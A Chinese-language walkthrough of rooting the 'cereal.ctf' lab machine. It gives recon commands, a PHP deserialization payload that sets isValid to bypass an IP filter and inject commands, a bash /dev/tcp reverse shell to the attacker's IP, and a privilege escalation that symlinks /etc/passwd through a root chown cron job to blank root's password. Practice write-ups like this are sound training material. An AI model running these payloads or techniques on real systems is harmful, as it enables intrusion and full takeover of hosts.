主机发现
nmap -sP 192.168.159.0/24
目标主机IP地址为:192.168.159.168
端口扫描
nmap -sV -p- -A 192.168.159.168
开放端口为:21、22、80、139、445、3306、44441(web)
21端口
可以匿名登陆,但是没有有用信息
现有漏洞库也只有一个拒绝服务,没啥用
80端口
目录扫描(gobuster)
gobuster dir -u http://192.168.159.168 \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak
发现两个页面,访问,发现blog页面没有css加载,猜测可能要域名,查看网页源码,发现域名
cereal.ctf
将域名写入本地hosts文件,再次访问,发现是 wrodpress 网站
wordpress
利用wpscan
爆破用户名密码
wpscan --url http://cereal.ctf/blog -e u
wpscan --url http://cereal.ctf/blog -e -U cereal -P /usr/share/wordlists/rockyou.txt
跑了20mins没跑出来(虚拟机里性能确实不行。。。)想上网看看其他人跑出来的密码,结果发现这个方法跑不出密码。。。换法子了
子域名
wfuzz -H 'HOST: FUZZ.cereal.ctf' -u 'http://192.168.159.168' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 45,20787
没有子域名。。。
44441端口(web)
目录扫描
dirsearch -u cereal.ctf:44441
啥都没。。。
子域名
wfuzz -H 'HOST: FUZZ.cereal.ctf:44441' -u 'http://192.168.159.168:44441' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 2,45
找到一个子域名:secure
加到本地hosts文件后访问
命令执行
在这个网页尝试命令执行,但我知道的姿势全都不行,页面没有返回。。。
127.0.0.1 | pwd
127.0.0.1 & pwd
127.0.0.1;pwd
抓包看返回信息,好像有个序列化的东西,但我看不懂,决定继续往下
目录扫描
login页面还是会返回当前ping
页面
php.js页面发现序列化源码
反序列化
代码中给出了序列化的样式实例,我们可以根据它构造出我们想要的代码
然后先对页面进行正常访问抓包,看看这个参数放到哪里
可以看到是一串url编码字符,将其解码:
把我们构造好的代码编码,替换,发送
{s:9:“ipAddress”;s:16:“127.0.0.1;whoami”;}
无效,没有返回。。。
做到这里我实在不知道咋做了,感觉很对,但没有返回就很迷。。。
上网搜了下大佬们的wp,发现是我的字典不太行,还有个目录没扫到。。。
/back_en/
重新目录扫描,扫/back_en/下的文件
dirsearch -u http://secure.cereal.ctf:44441/back_en/
发现一个备份网页,访问,发现该页面有一段php代码,其中某段代码对 IP 地址进行了过滤操作:
filter_var(x,FILTER_VALIDATE_IP)
函数过滤了非IP地址,若 x 不是IP地址,则返回False
if (!$this->isValid) {
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP)){
$this->isValid = True;}}
$this->ping();
但是在代码中存在一个 bug ,那就是如果 isValid 这个参数为 True,则不进行验证,也就是说我们可以构造序列化字符,将 isValid 参数置为 True
构造的序列化字符串如下:
O:8:“pingTest”:2:{s:9:“ipAddress”;s:16:“127.0.0.1|whoami”;s:7:“isValid”;s:4:“True”;}
进行url编码后发送,成功执行whoami
命令!
反弹shell
bash -c 'bash -i >& /dev/tcp/192.168.159.131/7777 0>&1'
序列化字符如下:
O:8:“pingTest”:2:{s:9:“ipAddress”;s:65:“127.0.0.1|bash -c ‘bash -i >& /dev/tcp/192.168.159.131/7777 0>&1’”;s:7:“isValid”;s:4:“True”;}
编码后发送,同时本地开启端口监听:
成功获得shell
提权
situid
find / -perm -u=s -type f 2>/dev/null
发现一个可以提权的程序(CVE-2021-4034),这次换思路,具体利用参考 Corrosion2那期
计划任务
crontab -l
cat /etc/crontab
没有任何计划任务
信息收集
找了各个目录,文件之类的都没有获得什么有用信息
脚本
python -m SimpleHTTPServer 80
wget 192.168.159.131/pspy64
chmod +x pspy64
./pspy64
发现一个可疑文件
查看它的权限与内容
只有 root 用户可写,作用是将 /homerocky/public_html/下的所有文件属主改为 rocky,属组改为 apache
软链接
软链接相当于 windows 中的快捷方式
当一个文件是另一个文件的软链接时(例如:A 是 B 文件的软链接,A 的根是 B),当我们修改这个文件的属主属组时(A),改的并不是这个文件的,而是它所链接的源文件(B)
通过信息收集,我们发现 /etc/passwd 文件可以被它的属主属组修改,所以准备通过软链接以及 chown.sh 修改它的属主属组
ln -s /etc/passwd /home/rocky/public_html/passwd
chown.sh 脚本运行后 /etc/passwd 文件属主属组成功被修改
修改/etc/passwd
在修改该文件时,发现符号会出现混乱,所以决定将该文件复制到到本地修改后上传覆盖
# 先将该文件放到web 目录下,方便下载
cd /var/www/html/blog
cp /etc/passwd .
# 本机下载
wget http://cereal.ctf/blog/passwd
修改该文件后上传(root密码置为空)
wget 192.168.159.131/passwd
cp passwd /etc/passwd
su
成功获取root权限!